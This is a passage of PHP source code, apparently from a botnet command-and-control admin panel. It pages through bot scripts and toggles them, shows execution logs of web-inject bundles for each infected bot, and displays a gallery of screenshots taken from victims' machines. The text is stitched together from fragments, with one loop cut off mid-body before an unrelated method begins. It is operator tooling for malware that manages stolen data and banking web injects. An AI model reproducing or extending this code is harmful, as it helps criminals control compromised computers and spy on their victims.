$PAGER = new Paginator($_GET['page'], 100, 1);
$list = '';
if (!($r = mysqlQueryEx('botnet_scripts', 'SELECT SQL_CALC_FOUND_ROWS
        id,
        extern_id,
        name,
        flag_enabled,
        send_limit,
        time_created
     FROM botnet_scripts
     ORDER BY time_created ASC
     LIMIT ' . $PAGER->sql_limit[0] . ' , ' . $PAGER->sql_limit[1] . '
    ;')) || @mysql_affected_rows() === 0) {
    $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, $r ? LNG_BOTNET_LIST_EMPTY : mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
} else {
    $PAGER->total(mysql_result(mysql_query('SELECT FOUND_ROWS();'), 0, 0));
    for ($i = 0; ($mt = @mysql_fetch_row($r)) !== false; $i++) {
        if (!($rx = mysqlQueryEx('botnet_scripts_stat', "SELECT SUM(IF(type=1, 1, 0)), SUM(IF(type=2, 1, 0)), SUM(IF(type>2, 1, 0)) FROM botnet_scripts_stat WHERE extern_id='" . addslashes($mt[1]) . "'"))) {
            $list .= THEME_LIST_ROW_BEGIN . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(LIST_ROWS_COUNT, mysqlErrorEx()), THEME_LIST_ITEM_EMPTY_1) . THEME_LIST_ROW_END;
        } else {
            $mx = @mysql_fetch_row($rx);
            $theme_text = $i % 2 ? THEME_LIST_ITEM_LTEXT_U2 : THEME_LIST_ITEM_LTEXT_U1;
            $theme_num = $i % 2 ? THEME_LIST_ITEM_RTEXT_U2 : THEME_LIST_ITEM_RTEXT_U1;
            $url_edit = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&view=' . $mt[0], strlen($mt[2]) > 0 ? htmlEntitiesEx($mt[2]) : '-'), THEME_LIST_ANCHOR);
            $url_status = $mt[3] > 0 ? LNG_BOTNET_STATUS_ENABLED : LNG_BOTNET_STATUS_DISABLED;
            if ($_allow_edit) {
                $url_status = str_replace(array('{URL}', '{TEXT}'), array(QUERY_STRING_HTML . '&status=' . $mt[0] . '&enable=' . ($mt[3] > 0 ? 0 : 1), $url_status), THEME_LIST_ANCHOR);
            }
            $list .= THEME_LIST_ROW_BEGIN;
            if ($_allow_edit) {
                $list .= str_replace(array('{NAME}', '{VALUE}', '{JS_EVENTS}'), array('scripts[]', $mt[0], ''), $i % 2 ? THEME_LIST_ITEM_INPUT_CHECKBOX_1_U2 : THEME_LIST_ITEM_INPUT_CHECKBOX_1_U1);
    /** Execution logs list page
     * @param int $page
     */
    function actionExecLogs($page = 1)
    {
        ThemeBegin(LNG_MM_BOTNET_WEBINJECTS, 0, getBotJsMenu('botmenu'), 0);
        $PAGER = new Paginator($page, 50);
        $q_logs = $this->db->prepare('SELECT SQL_CALC_FOUND_ROWS
			    `b`.`bid`,
			    `b`.`name` AS `b_name`,
			    `b`.`mtime` AS `b_mtime`,
			    `h`.`botId`,
			    `h`.`etime`,
			    `h`.`exec_count`,
			    `h`.`exec_error`,
			    `h`.`debug_error`
			 FROM `botnet_webinjects_history` `h`
			    LEFT JOIN `botnet_webinjects_bundle` `b` USING(`bid`)
			 ORDER BY
			    `h`.`etime` IS NULL DESC,
			    `b`.`mtime` DESC,
			    `h`.`etime` DESC
			 LIMIT :limit, :perpage
			 ;');
        $PAGER->pdo_limit($q_logs, ':limit', ':perpage');
        $q_logs->execute();
        $PAGER->total($this->db->found_rows());
        echo '<table id="exec-logs" class="zebra lined">';
        echo '<THEAD>', '<tr>', '<th>', 'BotId', '</th>', '<th>', 'Bundle', '</th>', '<th>', 'State', '</th>', '<th>', 'Exec count', '</th>', '<th>', 'Exec time', '</th>', '<th>', 'Exec error', '</th>', '<th>', 'Debug error', '</th>', '</tr>', '</THEAD>';
        echo '<TBODY>';
        while ($log = $q_logs->fetchObject()) {
            $state = (int) is_null($log->etime) . (int) is_null($log->exec_error) . (int) is_null($log->debug_error);
            switch ($state) {
                case '111':
                    $state_text = 'pending';
                    break;
                case '011':
                    $state_text = 'success';
                    break;
                case '001':
                    $state_text = 'exec error';
                    break;
                case '010':
                    $state_text = 'bot error';
                    break;
                default:
                    $state_text = '???';
                    break;
            }
            echo '<tr class="state' . $state . '">';
            echo '<th>', htmlentities($log->botId), '</th>';
            echo '<td>', htmlentities($log->b_name), '</td>';
            echo '<td>', $state_text, '</td>';
            # Exec count
            echo '<td>', is_null($log->exec_count) ? '-' : $log->exec_count, '</td>';
            # Exec time
            echo '<td>', is_null($log->etime) ? date('H:i:s d.m.Y', $log->b_mtime) : timeago(time() - $log->etime), '</td>';
            # Exec error
            echo '<td>', is_null($log->exec_error) ? '' : '<div class="exec_error">' . htmlentities($log->exec_error) . '</div>', '</td>';
            # Debug error
            echo '<td>', is_null($log->debug_error) ? '' : '<div class="debug_error">' . htmlentities($log->debug_error) . '</div>', '</td>';
            echo '</tr>';
        }
        echo '</TBODY>';
        echo '</table>';
        echo $PAGER->jPager3k(mkuri(1, 'm') . '&page=%page%', null, 'paginator');
        echo <<<HTML
\t\t<script src="theme/js/jPager3k/jPager3k.js"></script>
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k.css">
\t\t<link rel="stylesheet" href="theme/js/jPager3k/jPager3k-default.css">
HTML;
        ThemeEnd();
    }
    /** Display screenshots gallery
     * @param string $date The date to display the gallery for: '2003-12-31'
     * @param int $page The page number
     * @param null $botId
     * @param bool $feed_format Use the 'Feed' format? else, just a date-sorted list
     */
    function actionAjaxGallery($date, $page = 1, $botId = null, $feedMode = 1)
    {
        $db = dbPDO::singleton();
        $date_int = strtotime($date);
        # Find the min date fitting the requirement
        $q = $db->query('SELECT MAX(ftime)
             FROM `botnet_screenshots`
             WHERE ftime <= (:ftime + 60*60*24)
             ;', array(':ftime' => $date_int));
        $d = $q->fetchColumn(0);
        if (!is_null($d)) {
            $date_int = $d;
            $date = date('Y-m-d', $date_int);
        }
        # Paginator
        $PAGER = new Paginator($page, self::SCREENSHOTS_PER_PAGE);
        # Load images
        $q = $db->prepare('
			SELECT SQL_CALC_FOUND_ROWS *
			FROM `botnet_screenshots` `bs`
			WHERE
				`ftime` BETWEEN :ftime0 AND :ftime1
				AND (:botId IS NULL OR `botId`=:botId )
			ORDER BY ' . ($feedMode ? '`group` DESC, `ftime` ASC' : '`ftime` DESC') . '
			LIMIT :limit, :perpage
			;');
        $q->bindValue(':ftime0', $date_int - 60 * 60 * 24);
        $q->bindValue(':ftime1', $date_int);
        $q->bindValue(':botId', $botId);
        $PAGER->pdo_limit($q, ':limit', ':perpage');
        $q->setFetchMode(dbPDO::FETCH_OBJ);
        $q->execute();
        $PAGER->total($db->found_rows());
        # Output
        echo '<div class="botgallery-date" id="botgallery-date-' . $date . '">';
        echo '<h1>', $date, '</h1>';
        $prev_botId = null;
        foreach ($q as $row) {
            if ($prev_botId !== $row->botId) {
                if (!is_null($prev_botId)) {
                    echo '</ul>';
                }
                echo '<h2><a href="?m=reports_images/ajaxGallery&date=', date('Y-m-d'), '&botId=', $row->botId, "&feedMode={$feedMode}", '">', $row->botId, '</a></h2>';
                echo '<ul class="botgallery">';
                $prev_botId = $row->botId;
            }
            $img = $GLOBALS['config']['reports_path'] . '/files/' . $row->file;
            echo '<li>', '<a href="', $img, '" rel="bs', $row->group, '" title="', htmlspecialchars($row->file), '" class="LOL">', '<img src="', $img, '" class="BUGAGA" />', '</a>', '</li>';
        }
        # Final
        echo is_null($prev_botId) ? LNG_NO_RESULTS : '</ul>';
        # Pager
        if ($PAGER->page_count > 1) {
            echo $PAGER->jPager3k('?m=reports_images/ajaxGallery&date=' . $date . '&page=%page%' . (is_null($botId) ? '' : '&botId=' . $botId) . "&feedMode={$feedMode}", null, 'jPager3k');
        }
        echo '</div>';
        # Load more results
        if ($db->query('SELECT EXISTS(SELECT 1 FROM `botnet_screenshots` WHERE `ftime`<' . $date_int . ')')->fetchColumn(0)) {
            echo '<a href="?m=reports_images/ajaxGallery&date=', date('Y-m-d', $date_int - 60 * 60 * 24), is_null($botId) ? '' : '&botId=' . $botId, "&feedMode={$feedMode}", '" id="load_more">', LNG_LOAD_MORE, '</a>';
        }
    }